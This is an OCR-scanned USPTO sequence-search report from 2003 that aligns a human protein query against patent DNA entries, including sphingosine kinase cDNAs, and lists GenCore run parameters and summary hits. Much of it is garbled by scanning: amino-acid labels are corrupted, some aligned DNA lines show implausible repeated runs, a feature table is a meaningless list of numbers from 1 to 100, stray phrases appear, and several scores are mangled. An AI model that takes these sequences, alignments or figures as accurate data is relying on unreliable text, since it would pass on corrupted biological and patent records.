 QY 81 AspGlyLeuMetHisGlyValValAsnGlyLeuMetGlyArgProAspTrpGlnThrAla 100
 DB 241 GAGGCGCTATACAGAGAGCTGTAACGGCTATAGACGGCTGAGCTGAGAGAGCC 300
 QY 101 IleGlnLysProLeuGlySerLeuProAlaGlySerGlyValAsnAlaLeuAla-SerLe 120
 DB 301 ATCCAGAACCCCTCTGTAGCCCTCCAGAGGCTGCGGACAGCCCTGGCACCC-TCCTCT 359
 QY 120 uAsnHisTrpAlaGlyTrpGlyGlnValThrAsnGluAspLeuLeuThrAsnGlyThrLe 140
 DB 360 GAACCATTTATGCTGCTATGAGCAGTGCACCATGAAGACCTCTGACCACTGACGCT 419
 QY 140 uLeuLeuGlyArgProVal--LeuSerProMetAsnLeuLeuSerLeuHisThrAlaSer 159
 DB 420 ATGCTGTGCGG-CCGGC-TGCTGTCAACCATGACCTGCTGTCTGTGACACAGGCTTCG 477
 QY 160 GlyLeuArgSer-PheSerValLeuSerLeuAlaTrpGlyPheIleAlaAspValAspLe 179
 DB 478 GGGCTCTGGCTCT-CTTCTCTGTGCTACACCTGGGCTTTCATTTGCGATGGAGACT 536
 QY 179 uGluSerAsp-LysTrpArgTrpLeuGlyLeuMetArgPheThrLeuGlyThrPheLeu 199
 DB 537 AGAGAGTTGA-GAAGTATCGGCGTCTGGGGGAGATGGCGTTCACCTGGGACACTTCCTGC 595
 QY 199 rGluLeuAlaLeuArgThrTrpArgTrpGlyArgLeuAlaThr-LeuProValGlyArgVal 218
 DB 596 GTCTGGACGCTGGCGACCTACCGCGGCGAGCTGGCTTA-CTCTCTGTAGAGAGACT- 653
 QY 219 GlyPhe-LysTrpProAlaSerProValValGlnGlnGlyProValAspAlaHisLe 238
 DB 654 GGGTCTCAAGACACTGCTCCCGCTGGTTCAGAGGCGCGGTGAGTGAAGCACACT 713
 QY 238 uValProLeuGluGluGlnVal-ProSerHisTrpGln-ValValProAspGluAspPhe 257
 DB 714 TGGGCCACTGAGAGAGCC-AGTGGCCCTCTCAGTGAGC-AGTGGTCCCGCAGAGACTTT 771
 QY 258 ValLeuValLeuAlaLeuLeuHisSerHisLeuAla-SerGluMetPheAlaAlaProMe 277
 DB 772 GTGTATGCTGTGGCACTGTGCTGCACTGCGACTGGG-CAGTGAATGTTTCTGCAACCAT 830

QY 277 tGlyArgCysAlaAlaGlyValMetHisLeuPheTrpValArgAlaGlyValSerArgAl 297
 DB 831 GGGCCGCTGTGAGCTGGCGCGTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 890
 QY 297 aMetLeuLeuArgLeuPheLeuAlaMetGluArgHisMetGluArgHisMetGluArgHis 317
 DB 891 CATGCTGCTGCGCT 950
 QY 317 cTyrlLeuValTrpValProValValAlaPheArgLeuGluProLysAspGlyLysGlyVal 337
 DB 951 CTACTGTGATATGTGTGCGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1010
 QY 337 lPheAlaValAspGlyGluLeuMetValSerGluAlaValGlnGlyGlnValHisProAs 357
 DB 1011 GTTTGCAGTGGATGGGGAATGATGTAGCGAGGCGCTGCAGGCGCAAGTGCACCCAAA 1070
 QY 357 nTyrlPheTrpMetValSerGlyCysValGluProProSerTrpLysProGlnGlnMe 377
 DB 1071 CTACTCTGTGATGTGAGCGGTTCGTGAGAGCCCGCCACAGCTGGAAGCCCGACAGAT 1130
 QY 377 tTyroProProGluGluProLeu 384
 DB 1131 GCCACCGCCGAGAGAGCCCTTA 1152
 RESULT 10
 AA161122 standard; cDNA; 1200 BP.
 ID AA161122;
 AC AA161122;
 DT 22-OCT-2001 (first entry)
 DE Human polynucleotide SEQ ID NO 5111.
 DE Human, noctropic; immunosuppressant; cytostatic; gene therapy; cancer; peripheral nervous system; neuropathy; central nervous system; CNS; Alzheimer's; Parkinson's disease; Huntington's disease; haemostatic; amyotrophic lateral sclerosis; Shy-Drager Syndrome; chemotactic; chemokinetic; thrombolytic; drug screening; arthritis; inflammation; leukemia; ss.
 OS Homo sapiens.
 PN WO200153312-A1.
 PD 26-JUL-2001.
 PE 26-DEC-2000; 2000MO-US34263.
 PR 21-JAN-2000; 2000US-0488725.
 PR 25-APR-2000; 2000US-0552317.
 PR 09-JUL-2000; 2000US-0598042.
 PR 19-JUL-2000; 2000US-0620312.
 PR 03-AUG-2000; 2000US-0653450.
 PR 14-SEP-2000; 2000US-0662191.
 PR 19-OCT-2000; 2000US-0693036.
 PR 29-NOV-2000; 2000US-0727344.
 PA (HYSE-) HXSEQ INC.
 PI Tang YT, Liu C, Asundi V, Chen R, Ma Y, Qian XB, Ren F, Wang D;
 PI Wang J, Wang Z, Weinman T, Xu C, Xue AD, Yang Y, Zhang J;
 PI Zhao QA, Zhou P, Goodrich R, Dmanac RT;
 DR P-PSDB; AAM41966.
 DR WP1; 2001-442253/47.
 PT Novel nucleic acids and polypeptides, useful for treating disorders
 PT such as central nervous system injuries -
 PS Claim 1; SEQ ID NO 5111; 10078bp; English.

CC The invention relates to human nucleic acids (AA157798-AA161369) and
CC the encoded polypeptides (AAW38642-AAW42213) with nootropic,
CC immunosuppressant and cytostatic activity. The polynucleotides are useful
CC in gene therapy. A composition containing a polypeptide or polynucleotide
CC of the invention may be used to treat diseases of the peripheral nervous
CC system, such as peripheral nervous injuries, peripheral neuropathy and
CC localised neuropathies and central nervous system diseases, such as
CC Alzheimer's, Parkinson's disease, Huntington's disease, amyotrophic
CC lateral sclerosis, and Shy-Drager Syndrome. Other uses include the
CC utilisation of the activities such as: Immune system suppression,
CC Activin/inhibin activity, chemotactic/chemokinetic activity, haemostatic
CC and thrombolytic activity, cancer diagnosis and therapy, drug screening,
CC assays for receptor activity, arthritis and inflammation, leukaemias and
CC C.N.S disorders.
CC Note: The sequence data for this patent did not form part of the printed
CC specification.
CC
XX Sequence 1200 BP; 218 A; 353 C; 375 G; 254 T; 0 other;
XX
Alignment Scores:
Pred. No.: 5.24e-105 Length: 1200
Score: 115.00 Matches: 115
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 29.95% Indels: 0
DB: 22 Gaps: 0
US-09-784-810A-2 (1-384) x AA161122 (1-1200)
QY 270 SerGluMetPheAlaAlaPrometGlyArgCysAlaAlaGlyValMetHisLeuPheTyr 289
Db 573 AGTGAATGTTGTGTGACCCATGGCGCGCTGCACATGCGATCATCTTCTTAC 632
QY 290 ValArgAlaGlyValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluLysGly 309
Db 633 GTGGGGCGGAGGTCTCGTCGTCATGCTGCTGCCCTCTCCGCGCATGAGAGAGGC 692
QY 310 ArgHisMetGluTyrGluCysProTyrLeuValTyrValProValAlaAlaPheArgLeu 329
Db 693 AGGCATATGGAGTATGTAATGCCCTACTTGTATACGTGCCCGGTGGCTTCCGCTTG 752
QY 330 GluProLysAspGlyLysGlyValAlaPheAlaValAspLysGluLeuMetValSerGluAla 349
Db 753 GAGCCCAAGGATGGAGAAAGGTGTGTCAGTGTGGGAAATGATGATGAGGAGGCC 812
QY 350 ValGlnGlyGlnValHisProAsnTyrPheTrpMetValSerGlyCysValGluProPro 369
Db 813 GTGAGAGGCCAGGTGACCCAAACTACTTCTGATGTCAGCGGTGAGAGCCGCCCG 872
QY 370 ProSerTrpLysProGlnGlnMetProProProGluGluProLeu 384
Db 873 CCCAGCTGAGAGCCCGCAGATGCCACGCCAGAGAGCCCTTA 917
RESULT 11
AAV84490 ID AAV84490 standard; DNA; 1533 BP.
XX AAV84490;
XX
XX 01-MAR-1999 (first entry)
XX
XX Human secreted protein gene 80 clone HNP454.
XX
XX Human; secreted protein; fusion protein; gene therapy; protein therapy;
XX diagnosis; tissue; cancer; tumour; neurodegenerative disorder; leukaemia;
XX developmental abnormality; foetal deficiency; blood; allergy; renal; ds;
XX immune system; asthma; lymphocytic disease; brain; hepatic; lymphoma;
XX inflammation; ischaemic shock; Alzheimer's disease; restenosis; AIDS;
XX cognitive disorder; schizophrenia; prostate; obesity; osteoclast; thymus;
XX osteoporosis; arthritis; testis; lung; thyroiditis; thyroid; digestion;
XX endocrine; metabolism; regulation; malabsorption; gastritis; neoplasm.
XX
OS Homo sapiens.

XX
PN W09854963-A2.
XX
PD 10-DEC-1998.
XX
PF 04-JUN-1998; 98WO-US11422.
XX
PR 18-DEC-1997; 97US-0070923.
PR 06-JUN-1997; 97US-0048877.
PR 06-JUN-1997; 97US-0048881.
PR 06-JUN-1997; 97US-0048884.
PR 06-JUN-1997; 97US-0048893.
PR 06-JUN-1997; 97US-0048896.
PR 06-JUN-1997; 97US-0048899.
PR 06-JUN-1997; 97US-0048915.
PR 06-JUN-1997; 97US-0048949.
PR 06-JUN-1997; 97US-0048964.
PR 06-JUN-1997; 97US-0048972.
PR 06-JUN-1997; 97US-0049020.
PR 06-JUN-1997; 97US-0049375.
PR 05-SEP-1997; 97US-0057628.
PR 05-SEP-1997; 97US-0057635.
PR 05-SEP-1997; 97US-0057644.
PR 05-SEP-1997; 97US-0057647.
PR 05-SEP-1997; 97US-0057650.
PR 05-SEP-1997; 97US-0057661.
PR 05-SEP-1997; 97US-0057667.
PR 05-SEP-1997; 97US-0057761.
PR 05-SEP-1997; 97US-0057764.
PR 05-SEP-1997; 97US-0057770.
PR 05-SEP-1997; 97US-0057775.
PR 05-SEP-1997; 97US-0057778.
PR 06-JUN-1997; 97US-0048875.
PR 06-JUN-1997; 97US-0048878.
PR 06-JUN-1997; 97US-0048882.
PR 06-JUN-1997; 97US-0048885.
PR 06-JUN-1997; 97US-0048894.
PR 06-JUN-1997; 97US-0048897.
PR 06-JUN-1997; 97US-0048900.
PR 06-JUN-1997; 97US-0048916.
PR 06-JUN-1997; 97US-0048962.
PR 06-JUN-1997; 97US-0048970.
PR 06-JUN-1997; 97US-0048974.
PR 06-JUN-1997; 97US-0049373.
PR 05-SEP-1997; 97US-0057584.
PR 05-SEP-1997; 97US-0057629.
PR 05-SEP-1997; 97US-0057642.
PR 05-SEP-1997; 97US-0057645.
PR 05-SEP-1997; 97US-0057648.
PR 05-SEP-1997; 97US-0057651.
PR 05-SEP-1997; 97US-0057662.
PR 05-SEP-1997; 97US-0057668.
PR 05-SEP-1997; 97US-0057762.
PR 05-SEP-1997; 97US-0057765.
PR 05-SEP-1997; 97US-0057771.
PR 05-SEP-1997; 97US-0057776.
PR 06-JUN-1997; 97US-0048876.
PR 06-JUN-1997; 97US-0048880.
PR 06-JUN-1997; 97US-0048883.
PR 06-JUN-1997; 97US-0048892.
PR 06-JUN-1997; 97US-0048895.
PR 06-JUN-1997; 97US-0048898.
PR 06-JUN-1997; 97US-0048901.
PR 06-JUN-1997; 97US-0048917.
PR 06-JUN-1997; 97US-0048963.
PR 06-JUN-1997; 97US-0048971.
PR 06-JUN-1997; 97US-0049019.
PR 06-JUN-1997; 97US-0049374.
PR 05-SEP-1997; 97US-0057627.
PR 05-SEP-1997; 97US-0057634.
PR 05-SEP-1997; 97US-0057643.
PR 05-SEP-1997; 97US-0057646.
PR 05-SEP-1997; 97US-0057649.

CC in gene therapy and vaccine production. (I) and (II) can be used in the
CC prevention, diagnosis and treatment of immune disorders (e.g. multiple
CC sclerosis, systemic lupus erythematosus and human immunodeficiency virus
CC (HIV) infections), hyperproliferative disorders (e.g. cancers and
CC Gaucher's disease), cardiovascular diseases (e.g. Schimlar syndrome,
CC Chaga's cardiomyopathy and coronary arteriosclerosis), angiogenic
CC disorders (e.g. corneal graft neovascularisation and diabetic
CC retinopathy), neurological disorders (e.g. Huntington's chorea,
CC Alzheimer's disease and Parkinson's disease), infectious diseases and/or
CC for promoting wound healing, regeneration and/or chemotaxis. ABA83185 to
CC ABA83193 and ABB50300 represent sequences used in the exemplification of
CC the present invention.

SQ Sequence 1533 BP; 272 A; 454 C; 495 G; 302 T; 10 other;

Alignment Scores:

Pred. No.:	6.59e-105	length:	1533
Score:	115.00	Matches:	115
Percent Similarity:	100.00%	Conservative:	0
Best Local Similarity:	100.00%	Mismatches:	0
Query Match:	29.95%	Indels:	0
DB:	22	Gaps:	0

US-09-784-810A-2 (1-384) x ABA83273 (1-1533)

QY	270	SerLlnmetPheAlaAlaProMeG1VArgysAlaAlaGlyValMetHisIleuPheYr	289
Db	881	AGTAgAGATGTTGGTCGACCCATGGGCGCGTGTGAGGTGGCGTCATGCTGTTCAC	940
QY	290	ValAlrGAlaGlyValSerArGAlaMetLeuLeuArGLeuPheLeuAlaMetG1uLySGly	309
Db	941	GTGGGGGGGAGAGTCTCGTGCATGCTGTGGCGCCCTTCCTGGCCATGACAGAAAGGC	1000
QY	310	ArGHisMetG1uTyrG1uCySProTyrLeuValTyrVal1ProVal1Ala1AlaPheArGLeu	329
Db	1001	AGGCATATGAGAGTATGAAATGCCCTACTTGTATATATGCGCCGATGGTGCCTTCCGCTTG	1066
QY	330	GlUpProLySAspG1yLySGlyVal1PheAla1AlaSPG1yG1uLeuMetValSerG1uAla	349
Db	1061	GAGCCCAAGAGTGGGAAAGGTGTCTTTCACATGTGATGGGAAATGATGCTTAGCGAAGCC	1120
QY	350	ValG1nG1yG1uVal1HisProAsnTyr1PheTrrPmetVal1SerG1yCySValG1uProPro	369
Db	1121	GTGCAGGGCCAGGTGCACCAACCAACTTTCGATGGTCACAGCGGTGGCTGGAGGCCCGG	1180
QY	370	ProSerTrrPlySProG1nG1nMetProProG1uG1uProLeu	384
Db	1181	CCCAAGCTGGAAGCCCCACAGCATATCCACCGGCAGAAAGGCCCTTA	1225

RESULT 13

ID AAA50508 standard; cDNA; 1447 BP.

AC AAA50508;

DT 05-DEC-2000 (first entry)

DE Human sphingosine kinase A cDNA.

KW sphingosine kinase A; SKA; human; drug screening; infection;

KW cancer; therapy; diagnosis; ds.

OS Homo sapiens.

FH	Key	Location/Qualifiers
1	1	1
2	2	2
3	3	3
4	4	4
5	5	5
6	6	6
7	7	7
8	8	8
9	9	9
10	10	10
11	11	11
12	12	12
13	13	13
14	14	14
15	15	15
16	16	16
17	17	17
18	18	18
19	19	19
20	20	20
21	21	21
22	22	22
23	23	23
24	24	24
25	25	25
26	26	26
27	27	27
28	28	28
29	29	29
30	30	30
31	31	31
32	32	32
33	33	33
34	34	34
35	35	35
36	36	36
37	37	37
38	38	38
39	39	39
40	40	40
41	41	41
42	42	42
43	43	43
44	44	44
45	45	45
46	46	46
47	47	47
48	48	48
49	49	49
50	50	50
51	51	51
52	52	52
53	53	53
54	54	54
55	55	55
56	56	56
57	57	57
58	58	58
59	59	59
60	60	60
61	61	61
62	62	62
63	63	63
64	64	64
65	65	65
66	66	66
67	67	67
68	68	68
69	69	69
70	70	70
71	71	71
72	72	72
73	73	73
74	74	74
75	75	75
76	76	76
77	77	77
78	78	78
79	79	79
80	80	80
81	81	81
82	82	82
83	83	83
84	84	84
85	85	85
86	86	86
87	87	87
88	88	88
89	89	89
90	90	90
91	91	91
92	92	92
93	93	93
94	94	94
95	95	95
96	96	96
97	97	97
98	98	98
99	99	99
100	100	100

ET / *tag- a

PN WO2000052173-A2

PD 08-SEP-2000.

PF 02-MAR-2000; 2000WO-CA00223.

PR 02-MAR-1999; 99US-0122516.

PA (ALLX) NPS ALLELIX CORP

PI Munroe D, Gupta A, Falzone GR;

DR WPI; 2000-572185/53.

XX
XX
New business objectives

PT New human sphingosine kinase A, B and C polynucleotides and
PT polypeptides useful in e.g. chromosome and gene mapping, and detecting
PT inflammation or disease associated with abnormal levels of sphingosine
PT kinase expression -

PS Disclosure; Flg 1; 81pp; English.

The present sequence is that of an isolated polynucleotide encoding human sphingosine kinase A (SKA, see AAY96057), an enzyme that phosphorylates sphingosine to form sphingosine 1-phosphate. The polynucleotide was isolated from an HeLa cDNA library by PCR amplification. The invention provides polynucleotides (see AAY50508-10) and polypeptides (see AAY96057-59) for the human sphingosine kinase (SK) homologues SKA, SKB and SKC. The polynucleotides may be used as hybridization probes, in the construction of PCR primers for chromosome and gene mapping, in the recombinant production of SKA, SKB and SKC, and in the generation of antisense DNA or RNA. They can be used to detect inflammation or disease associated with abnormal levels of SK expression, or to detect differences in gene sequence between normal and carrier or affected individuals. Host cells expressing SK can be used in drug screening. Human SK specific antibodies, inhibitors, ligands or their analogues can be used as bioactive agents to treat inflammation or disease including viral, bacterial or fungal infections, allergic responses, mechanical injury associated with trauma, hereditary diseases, lymphoma or carcinoma and other conditions with activate the genes of kidney, lung, heart, lymphoid or tissues of the nervous system.

SQ Sequence 1447 BP; 256 A; 427 C; 465 G; 299 T; 0 other;

Alignment Scores:

Pred. No.:	6, 17e-96	Length:	1447
Score:	106.00	Matches:	143
Percent Similarity:	98.628	Conservative:	0
Best Local Similarity:	98.628	Mismatches:	1
Query Match:	27,608	Indels:	2
DB:	21	Gaps:	0

US-09-784-810A-2 (1-384) x AAA50508 (1-1447)

QY	1	MetAspProAlaIacIylIylProArgGlyValIleuProAlaGProGAsArgValIleuValLeu	20
Db	7	ATGATATCCACGGGGGGGGCCCCGGGGGGGGTCTCCGGAGACCTTGCCGGCTGTCTGGTCTG	66
QY	21	LeuAsnProArgGlyIylIylGlySgIlyValAlaLeuGlnIleuPheArgSerHisValGlnPro	40
Db	67	CTGACCCCGCGCGGGCAAGAGGCAAGGCCCTTGACAGCTCTTCCGGAGTCACGTCCAGCCC	126
QY	41	LeuLeuAlaGlnIlaIacIylIleSerPheThrIleMetLeuThrGlnIlaArgArgAsnHisAla	60
Db	127	CTTTTGGCTAGGCTAAATCTCCCTTCACGGCTGAATGCTACTAGACGGCGGGAACACAGCG	186
QY	61	ArgGlnIleuValArgSerGlnIleuGlnIylArgTyrPaspAlaIleuValIleMetSerGly	80
Db	187	CGGAGACTGGTGGCGTCCGAGGAGAGCTGGGCCCTCGGAGCGCTCTGTGTGCATCTGTGGA	246
QY	81	AspGlyIleuMetHisGlnIylValIleValAsnGlyIleuMetGlnIlaArgProAspTyrGlnIylThrAla	100
Db	247	GACGGCTGATGACACAGAGTGTGTGAACGGGCTCAATGGAACGGGCTGACTGGGAACACGCC	306
QY	101	IleGlnIylProIleuGlySer-LeuProAlaGlySerGlyAsnAlaIleuAlaIleSerIle	120

```

Db      |||||||
307 ATCCAAACCCCTGTGTAAT-CCTCCACAGCAGCTCTGCGAACAGCGCTGACGCTTCCCTT 365
QY      120 uasnHsTYRAlAGLYTyrGlUglNValThrsnGlUasplLeuThrsnCysThrLe 140
Db      366 GAACCATATATGCGTGTATGACGAGTCACCAATGAACTCTCTGACCACTGACGCT 425
QY      140 uLeuLeuCysArg 144
Db      426 ATTCCTGTGCGCC 438

RESULT 14
AAD04478
ID      AAD04478 standard; DNA: 240 BP.
AC      AAD04478;
DX      04-JUL-2001 (first entry)
XX      Conserved region DNA of human sphingosine kinase type 1 (hsk1).
DE      Human; sphingosine kinase type 1; sk1; sphingosine-1-phosphate; S1P;
XX      drug screening; therapy; haemostasis; thrombosis; allergic reaction;
XX      proliferative disease; cancer; haematopoietic disorder; leukaemia;
XX      cardiovascular disease; stroke; atherosclerosis; coronary artery disease;
XX      dyslipidaemia; diabetes; autoimmune disease; inflammatory disease;
XX      multiple sclerosis; T helper-1 related disease; asthma; wound healing;
XX      myocardial infarction; chronic obstructive pulmonary disease; cystic;
XX      anticoagulant; neurodegenerative disorder; embryogenesis; antipsoriatic;
XX      neuroprotective; cerebroprotective; antiarrhythmic; cardiant;
XX      vulnerable; ds.
OS      Homo sapiens.
XX      Location/Qualifiers
FH      key 1.240
FT      CDS
FT      /tag- a "conserved region of human sphingosine kinase
FT      type 1 (hsk1)"
FT      /note- "CDS does not include start and stop codon"
FT      /partial
XX      WO200131029-A2.
XX      03-MAY-2001.
XX      PD
XX      27-OCT-2000; 2000WO-EP09498.
XX      PP
XX      28-OCT-1999; 99US-0162307.
XX      PR 07-FEB-2000; 2000US-0180525.
XX      PA (WARN ) WARNER LAMBERT CO.
XX      PI Allen J, Gosink M, Melendez AJ, Takacs L;
XX      DR WPI: 2001-300510/31.
XX      DR P-PSDB; AAE00925.
XX      PT New human sphingosine kinase type I gene for screening drug candidates
XX      PT particularly inhibitors used for preventing or treating e.g.
XX      PT atherosclerosis, thrombosis, asthma and diabetes.
XX      PS Claim 4; Page 90; 91pp; English.
XX      The present DNA sequence encodes conserved region of human
XX      sphingosine kinase type 1 (hsk1). The sk1 converts the
XX      substrate sphingosine to sphingosine-1-phosphate (S1P). The sk1 gene
XX      and encoded polypeptide are applicable in screening drug candidates
XX      particularly inhibitors for preventing or treating disorders such as
XX      haemostasis, thrombosis, allergic reactions, proliferative diseases
XX      including cancer, haematopoietic disorders such as leukaemia,
XX      cardiovascular diseases such as stroke, atherosclerosis and coronary
XX      artery disease, dyslipidaemia, diabetes including type I and type II

```

```

CC      diabetes, autoimmune and inflammatory diseases such as multiple
CC      sclerosis, T helper-1 related diseases, chronic obstructive pulmonary
CC      disease, asthma, myocardial infarction, neurodegenerative disorders,
CC      natural wound healing processes and embryogenesis.
XX      SQ Sequence 240 BP: 35 A; 67 C; 93 G; 45 T; 0 other;
SQ      Alignment Scores:
Pred. No.: 1.11e-70 Length: 240
Score: 80.00 Matches: 80
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 20.83% Indels: 0
DB: Gaps: 0

US-09-784-810A-2 (1-384) x AAD04478 (1-240)
QY      16 ArgValLeuValLeuLeuAsnProArgGlyGlyValysAlaLeuGluLeuPheArg 35
Db      1 CGCTGCTGTGCTGTGCTGAACCGCGCGCGCAAGGCAAGCCTTGACGCTTTCGG 60
QY      36 SerHisValGlnProLeuLeuAlaGluAlaGluLeuSerPheThrLeuMetLeuThrGlu 55
Db      61 AGTCACGTCGACGCCCTTTTGCTGAGCTGAATCTCCTTCACGCTGATGCTCACTGAG 120
QY      56 ArgArgAsnHisAlaArgGluLeuValArgSerGluGluLeuGlyArgTrpAspAlaLeu 75
Db      121 CGGCGGAACCAACGCGCGGAGCTGCTGCGGAGAGAGCTGGAGCGCGGACGCTCG 180
QY      76 ValValMetSerGlyAspGlyLeuMetHisGluValAlaAsnGlyLeuMetGluArgPro 95
Db      181 GTGTGATGTGTGAGACGGGCTGATGACAGAGTGTGAACGGGCTCATGAGAGCGGCT 240

RESULT 15
AAH07214
ID      AAH07214 standard; cDNA: 675 BP.
AC      AAH07214;
DX      26-JUN-2001 (first entry)
XX      DE Human cDNA clone (5'-primer) SEQ ID NO:4049.
XX      KW Human; primer; detection; diagnosis; antisense therapy; gene therapy; ss.
XX      OS Homo sapiens.
XX      PP
XX      EP1074617-A2.
XX      PD
XX      07-FEB-2001.
XX      PF
XX      28-JUL-2000; 2000EP-0116126.
XX      PR
XX      29-JUL-1999; 99JP-0248036.
XX      PR 27-AUG-1999; 99JP-0300253.
XX      PR 11-JAN-2000; 2000JP-0118776.
XX      PR 02-MAY-2000; 2000JP-0183767.
XX      PR 09-JUN-2000; 2000JP-0241899.
XX      PA (HELI-) HELIX RES INST.
XX      PI Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;
XX      PI Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;
XX      DR WPI: 2001-318749/34.
XX      PT primer sets for synthesizing polynucleotides, particularly the 5602
XX      PT full-length cDNAs defined in the specification, and for the detection
XX      PT and/or diagnosis of the abnormality of the proteins encoded by the
XX      PS full-length cDNAs -
XX      Claim 1; SEQ ID 4049; 2537pp + CD ROM; English.

```

CC The present invention describes primer sets for synthesizing 5602
CC full-length cDNAs defined in the specification. Where a primer set
CC comprises: (a) an oligo-dr primer and an oligonucleotide complementary
CC to the complementary strand of a polynucleotide which comprises one of
CC the 5602 nucleotide sequences defined in the specification, where the
CC oligonucleotide comprises at least 15 nucleotides; or (b) a combination
CC of an oligonucleotide comprising a sequence complementary to the
CC complementary strand of a polynucleotide which comprises a 5'-end
CC sequence and an oligonucleotide comprising a sequence complementary to a
CC polynucleotide which comprises a 3'-end sequence, where the
CC oligonucleotide comprises at least 15 nucleotides and the combination of
CC the 5'-end sequence/3'-end sequence is selected from those defined in
CC the specification. The primer sets can be used in antisense therapy and
CC in gene therapy. The primers are useful for synthesizing polynucleotides,
CC particularly full-length cDNAs. The primers are also useful for the
CC detection and/or diagnosis of the abnormality of the proteins encoded by
CC the full-length cDNAs. The primers allow obtaining of the full-length
CC cDNAs easily without any specialised methods. AAH03166 to AAH13628 and
CC AAH13633 to AAH18742 represent human cDNA sequences; AAB92446 to
CC AAB95893 represent human amino acid sequences; and AAH13629 to AAH13632
CC represent oligonucleotides, all of which are used in the exemplification
CC of the present invention.

XX
SQ Sequence 675 BP; 100 A; 234 C; 240 G; 98 T; 3 other;

Alignment Scores:

Pred. No.:	2,91e-65	Length:	675
Score:	75.00	Matches:	75
Percent Similarity:	100.00%	Conservative:	0
Best Local Similarity:	100.00%	Mismatches:	0
Query Match:	19.53%	Indels:	0
DB:	22	Gaps:	0

US-09-784-810A-2 (1-384) x AAH07214 (1-675)

OY	1	MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu	20
DB	350	ATGATCCAGCGGGGGGCCCGGGGGCTGCTCCCGCGCCCTGCGCTGCTGCTG	409
OY	21	LeuAsnProArgGlyGlyGlyAlaLeuGlnLeuPheArgSerHisValGlnPro	40
DB	410	CTGAACCGCGCGGGGCAAGGCTTGCAGCTCTTCCGGAGTCACGTGCAGCCC	469
OY	41	LeuLeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgArgAsnHisAla	60
DB	470	CTTTGGCTGAGGCTGAATCTCTTCAAGCTGATGCTCAGCGGCGGAAACACGCG	529
OY	61	ArgGluLeuValArgSerGluGluLeuGlyArgTrpAspAlaLeu	75
DB	530	CGGAGCTGTCGGCTCGAGAGAGTGGCGCTGGACGCTCTT	574

Search completed: July 12, 2003, 19:55:30
Job time : 301 secs

THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM protein - nucleic search, using frame_plus_p2n model

Run on: July 12, 2003, 19:15:28 ; Search time 3410 Seconds

(Without alignments)
3277.266 Million cell updates/sec

Title: US-09-784-810A-2
Perfect score: 384
Sequence: 1 MDPAGGPRGVLPKRCVRLV.....CVEPPPSMKPQOMPPEEPL 384

Scoring table:

OLIGO	Xgapop 60.0	Xgapext 60.0
	Ygapop 60.0	Ygapext 60.0
	Delop 6.0	Delext 7.0
		Delext 7.0

Searched: 2054640 segs, 14551402878 residues

Word size: 1

Total number of hits satisfying chosen parameters: 4106490

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Listing first 45 summaries

Command line parameters:

-MODEL-frame+g2n.model -DEV-xlh
-O/cgn2_1/USPRO.spool/US09784810/runat_11072003_103504_27195/app-query.fasta.1.583
-DB-genemb1 -QFMT-fastlap -SUFFIX-olig.rge -MINMATCH-0.1 -LOOPEL-0 -LOOPEXT-0
-UNITS-bits -START-1 -END-1 -MATRIX-oligo -TRANS-human40.cdi -LIST-45
-DOCALLIGN-200 -THR.SCORE-quality -THR.MIN-1 -ALIGN-15 -MODE-LOCAL -OUTFMT-pto
-NORExt -HEARSExt-500 -MINExt-0 -MAXExt-2000000000
-USER-US09784810.GCGN.1.1_2496.gerunat_11072003_103504_27195 -NCPU-6 -ICPU-3
-NO_MAP -LARGESORT -NEG.SCORE-0 -WAIT -DSPLOCK-100 -LONGLOG
-DEV.TIMEOUT-120 -WARN.TIMEOUT-30 -THREADS-1 -XGAPOP-60 -XGAPEXT-60 -FGAPOP-6
-FGAPEXT-7 -YGAPOP-60 -YGAPEXT-60 -DELOP-6 -DELEXT-7

Database :

1:	gb_ba:*
2:	gb_hcg:*
3:	gb_in:*
4:	gb_om:*
5:	gb_ov:*
6:	gb_pat:*
7:	gb_ph:*
8:	gb_pl:*
9:	gb_pr:*
10:	gb_ro:*
11:	gb_sts:*
12:	gb_sy:*
13:	gb_un:*
14:	gb_vl:*
15:	em_ba:*
16:	em_fun:*
17:	em_hum:*
18:	em_in:*
19:	em_mnu:*
20:	em_om:*
21:	em_ov:*
22:	em_pat:*
23:	em_ph:*
24:	em_pl:*
25:	em_ro:*
26:	em_sts:*
27:	em_un:*
28:	em_vl:*

29: em_vl:*

30: em_htg_hum:*

31: em_htg_inv:*

32: em_htg_other:*

33: em_htg_mus:*

34: em_htg_pln:*

35: em_htg_rnd:*

36: em_htg_mam:*

37: em_htg_vrt:*

38: em_sy:*

39: em_htgo_hum:*

40: em_htgo_mus:*

41: em_htgo_other:*

pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	384	100.0	1600	6	AX224379 Sequence
2	144	37.5	1155	6	AX127642 Sequence
3	144	37.5	1173	9	AF200328 Homo sapi
4	144	37.5	1693	9	AF266756 Homo sapi
5	144	37.5	1719	6	AX127641 Homo sapi
6	144	37.5	1772	9	AK023393 Homo sapi
7	144	37.5	1783	9	AF238083 Homo sapi
8	144	37.5	1821	9	AK022402 Homo sapi
9	144	37.5	1824	9	BC008040 Homo sapi
10	141	36.7	1869	9	BC009419 Homo sapi
11	141	36.7	2502	9	AK093578 Homo sapi
12	125	32.6	2015	9	AB046025 Macaca fa
13	115	29.9	1192	9	BC004112 Homo sapi
14	115	29.9	183443	2	AC068145 Homo sapi
15	115	29.9	209861	2	AC021196 Homo sapi
16	98	25.5	1428	9	HSN245504 Homo sapi
17	80	20.8	240	6	AX127662 Sequence
18	63	16.4	296	6	AX198252 Sequence
19	63	16.4	296	6	AX208818 Sequence
20	39	10.2	394	6	AX334274 Sequence
21	33	8.6	1146	10	AF415213 Mus muscu
22	33	8.6	1559	6	AX287138 Sequence
